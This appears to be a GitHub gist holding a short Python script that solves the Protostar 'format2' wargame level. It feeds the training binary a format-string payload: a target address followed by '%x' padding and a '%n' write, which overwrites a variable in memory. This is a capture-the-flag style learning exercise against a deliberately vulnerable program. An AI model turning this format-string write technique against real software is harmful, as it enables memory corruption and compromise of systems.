Created
September 9, 2018 15:15
-
-
Save TheRealJunior/c8f78199e71b807236d5f896e50a90d6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
write_formt_exploit = '%20x%20x%20x%n' | |
write_ptr = '\xe4\x96\x04\x08' | |
input = write_ptr + write_formt_exploit + '\n' | |
proc = subprocess.Popen(['/opt/protostar/bin/format2'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) | |
stdout,stderr = proc.communicate(input=input) | |
print stdout | |
# new line so it will execute |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment